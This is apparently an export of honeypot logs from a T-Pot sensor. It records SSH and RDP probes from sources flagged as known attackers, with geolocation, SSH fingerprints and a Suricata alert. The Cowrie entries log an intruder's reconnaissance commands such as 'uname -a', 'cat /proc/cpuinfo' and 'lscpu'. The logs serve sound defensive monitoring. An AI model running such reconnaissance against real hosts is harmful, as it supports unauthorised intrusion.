"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 45956, "dest_port": 22, "timestamp": "2021-09-20T11:58:17.728999", "@timestamp": "2021-09-20T11:58:17.728Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
34004	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:18.771303+03	2021-09-20 15:00:06.574045+03	{"_id": "AgYSA3wBvYTbRNuEPFPB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "183.17.231.81", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6004714965820312, "duplicate": true, "timestamp": "2021-09-20T11:58:18.771303Z", "@timestamp": "2021-09-20T11:58:18.771Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
45207	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:42:29.546804+03	2021-09-20 16:45:02.651592+03	{"_id": "5AZxA3wBvYTbRNuEnau_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:42:29.546804Z", "@timestamp": "2021-09-20T13:42:29.546Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34005	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:19.155597+03	2021-09-20 15:00:06.575045+03	{"_id": "BAYSA3wBvYTbRNuEPFPB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:19.155597Z", "@timestamp": "2021-09-20T11:58:19.155Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34006	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:19.757079+03	2021-09-20 15:00:06.576046+03	{"_id": "BgYSA3wBvYTbRNuEQFOq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "183.17.231.81", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6021275520324707, "duplicate": true, "timestamp": "2021-09-20T11:58:19.757079Z", "@timestamp": "2021-09-20T11:58:19.757Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
34007	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:20.203154+03	2021-09-20 15:00:06.578045+03	{"_id": "BwYSA3wBvYTbRNuEQFOq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:20.203154Z", "@timestamp": "2021-09-20T11:58:20.203Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
34008	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:20.203694+03	2021-09-20 15:00:06.579046+03	{"_id": "CAYSA3wBvYTbRNuEQFOq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:20.203694Z", "@timestamp": "2021-09-20T11:58:20.203Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34009	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:17.120962+03	2021-09-20 15:00:06.580046+03	{"_id": "7wYSA3wBvYTbRNuENFLw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:17.120962Z", "@timestamp": "2021-09-20T11:58:17.120Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
34010	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:17.121504+03	2021-09-20 15:00:06.582045+03	{"_id": "8AYSA3wBvYTbRNuENFLw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:17.121504Z", "@timestamp": "2021-09-20T11:58:17.121Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34011	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:58:17.421776+03	2021-09-20 15:00:06.583045+03	{"_id": "8wYSA3wBvYTbRNuEN1Ij", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "43.240.6.90", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45956, "timestamp": "2021-09-20T11:58:17.421776", "@timestamp": "2021-09-20T11:58:17.421Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34012	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 14:58:17.729158+03	2021-09-20 15:00:06.585046+03	{"_id": "_AYSA3wBvYTbRNuEOFLZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "6c2b9e855b18", "@version": "1", "timestamp": "2021-09-20T11:58:17.729158Z", "@timestamp": "2021-09-20T11:58:17.729Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
34013	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:18.170898+03	2021-09-20 15:00:06.586046+03	{"_id": "_QYSA3wBvYTbRNuEOFLZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:18.170898Z", "@timestamp": "2021-09-20T11:58:18.170Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
34014	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:18.171443+03	2021-09-20 15:00:06.587046+03	{"_id": "_gYSA3wBvYTbRNuEOFLZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:18.171443Z", "@timestamp": "2021-09-20T11:58:18.171Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34015	43.240.6.90	109.199.241.180	Suricata	2021-09-20 14:58:17.728759+03	2021-09-20 15:00:06.589046+03	{"_id": "_wYSA3wBvYTbRNuEOlIA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "43.240.6.90", "dest_ip": "192.168.20.116", "flow_id": 2104280426848414, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45956, "dest_port": 22, "timestamp": "2021-09-20T11:58:17.728759Z", "@timestamp": "2021-09-20T11:58:17.728Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
34016	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:19.155039+03	2021-09-20 15:00:06.590045+03	{"_id": "AwYSA3wBvYTbRNuEPFPB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:19.155039Z", "@timestamp": "2021-09-20T11:58:19.155Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
34017	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:20.804135+03	2021-09-20 15:00:06.591497+03	{"_id": "DwYSA3wBvYTbRNuERFOS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "183.17.231.81", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6010172367095947, "duplicate": true, "timestamp": "2021-09-20T11:58:20.804135Z", "@timestamp": "2021-09-20T11:58:20.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
34018	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:21.222353+03	2021-09-20 15:00:06.592045+03	{"_id": "EAYSA3wBvYTbRNuERFOS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:21.222353Z", "@timestamp": "2021-09-20T11:58:21.222Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
34019	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:21.222895+03	2021-09-20 15:00:06.59417+03	{"_id": "EQYSA3wBvYTbRNuERFOS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:21.222895Z", "@timestamp": "2021-09-20T11:58:21.222Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34020	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:58:21.83594+03	2021-09-20 15:00:06.595162+03	{"_id": "FAYSA3wBvYTbRNuESVOi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:58:20.475849+0000", "pkts_toclient": 2, "pkts_toserver": 3, "bytes_toclient": 132, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 817901214646985, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 53764, "dest_port": 3389, "timestamp": "2021-09-20T11:58:21.835940Z", "@timestamp": "2021-09-20T11:58:21.835Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
34021	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:58:21.83594+03	2021-09-20 15:00:06.597162+03	{"_id": "FwYSA3wBvYTbRNuESlOs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 53764, "dest_port": 3389, "timestamp": "2021-09-20T11:58:21.835940", "@timestamp": "2021-09-20T11:58:21.835Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
